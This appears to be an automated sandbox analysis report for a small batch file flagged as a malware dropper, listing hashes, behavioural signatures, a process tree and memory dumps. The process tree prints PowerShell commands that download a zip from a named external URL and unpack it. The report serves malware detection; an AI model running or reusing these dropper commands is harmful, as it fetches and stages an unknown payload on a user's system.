1f2ddc6098fc1879106e8651c5c3c629104f994272b4fa1a04d67c8a723925ec

Analysis

max time kernel
1773s
max time network
1819s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
14/10/2023, 01:31

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General

Target

tesy - Copy (13).bat
Size

702B
MD5

65f016a2abe40d2902c7032438a14bd7
SHA1

b3537668ca1bb826e5085aee38b3f7ec654d606e
SHA256

153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
SHA512

b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	3064	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3064	powershell.exe
2536	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3064	powershell.exe
Token: SeDebugPrivilege	2536	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 652 wrote to memory of 3064	652	cmd.exe	29
PID 652 wrote to memory of 3064	652	cmd.exe	29
PID 652 wrote to memory of 3064	652	cmd.exe	29
PID 652 wrote to memory of 2536	652	cmd.exe	30
PID 652 wrote to memory of 2536	652	cmd.exe	30
PID 652 wrote to memory of 2536	652	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (13).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:652
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2536

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1CLTHNF7WP6OR6RJIM8V.temp

Filesize
7KB

MD5
3c8999b2c54205d3ec6fdb37f83e23e3

SHA1
4fee4a15f619d8ee7eea754bfd8e4fb8d2f2e1aa

SHA256
9bf165dc2b39a45c177e972d24cee59ed3c50b120e8411e187c26204f17d346b

SHA512
478c430800dba0a5e4a5c3fb5ba4877a0a450c6a9e7f75b24f8805543a95c18cc72b2e4bca54f4c37aacade5374cbfb13da51f66d306eb6063705b97f0927ef3

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
3c8999b2c54205d3ec6fdb37f83e23e3

SHA1
4fee4a15f619d8ee7eea754bfd8e4fb8d2f2e1aa

SHA256
9bf165dc2b39a45c177e972d24cee59ed3c50b120e8411e187c26204f17d346b

SHA512
478c430800dba0a5e4a5c3fb5ba4877a0a450c6a9e7f75b24f8805543a95c18cc72b2e4bca54f4c37aacade5374cbfb13da51f66d306eb6063705b97f0927ef3

Download Submit
memory/2536-29-0x0000000002870000-0x00000000028F0000-memory.dmp

Filesize
512KB

Download
memory/2536-32-0x0000000002870000-0x00000000028F0000-memory.dmp

Filesize
512KB

Download
memory/2536-35-0x000007FEF4D10000-0x000007FEF56AD000-memory.dmp

Filesize
9.6MB

Download
memory/2536-34-0x0000000002870000-0x00000000028F0000-memory.dmp

Filesize
512KB

Download
memory/2536-33-0x0000000002870000-0x00000000028F0000-memory.dmp

Filesize
512KB

Download
memory/2536-23-0x000000001B210000-0x000000001B4F2000-memory.dmp

Filesize
2.9MB

Download
memory/2536-31-0x000007FEF4D10000-0x000007FEF56AD000-memory.dmp

Filesize
9.6MB

Download
memory/2536-30-0x0000000002870000-0x00000000028F0000-memory.dmp

Filesize
512KB

Download
memory/2536-25-0x00000000023E0000-0x00000000023E8000-memory.dmp

Filesize
32KB

Download
memory/2536-27-0x0000000002870000-0x00000000028F0000-memory.dmp

Filesize
512KB

Download
memory/2536-26-0x000007FEF4D10000-0x000007FEF56AD000-memory.dmp

Filesize
9.6MB

Download
memory/2536-24-0x000007FEF4D10000-0x000007FEF56AD000-memory.dmp

Filesize
9.6MB

Download
memory/2536-28-0x0000000002870000-0x00000000028F0000-memory.dmp

Filesize
512KB

Download
memory/3064-14-0x000007FEF56B0000-0x000007FEF604D000-memory.dmp

Filesize
9.6MB

Download
memory/3064-11-0x00000000027D0000-0x0000000002850000-memory.dmp

Filesize
512KB

Download
memory/3064-6-0x000007FEF56B0000-0x000007FEF604D000-memory.dmp

Filesize
9.6MB

Download
memory/3064-15-0x00000000027D0000-0x0000000002850000-memory.dmp

Filesize
512KB

Download
memory/3064-17-0x00000000027D0000-0x0000000002850000-memory.dmp

Filesize
512KB

Download
memory/3064-16-0x00000000027D0000-0x0000000002850000-memory.dmp

Filesize
512KB

Download
memory/3064-4-0x000000001B230000-0x000000001B512000-memory.dmp

Filesize
2.9MB

Download
memory/3064-5-0x0000000002470000-0x0000000002478000-memory.dmp

Filesize
32KB

Download
memory/3064-13-0x000007FEF56B0000-0x000007FEF604D000-memory.dmp

Filesize
9.6MB

Download
memory/3064-7-0x000007FEF56B0000-0x000007FEF604D000-memory.dmp

Filesize
9.6MB

Download
memory/3064-8-0x00000000027D0000-0x0000000002850000-memory.dmp

Filesize
512KB

Download
memory/3064-9-0x00000000027D0000-0x0000000002850000-memory.dmp

Filesize
512KB

Download
memory/3064-10-0x00000000027D0000-0x0000000002850000-memory.dmp

Filesize
512KB

Download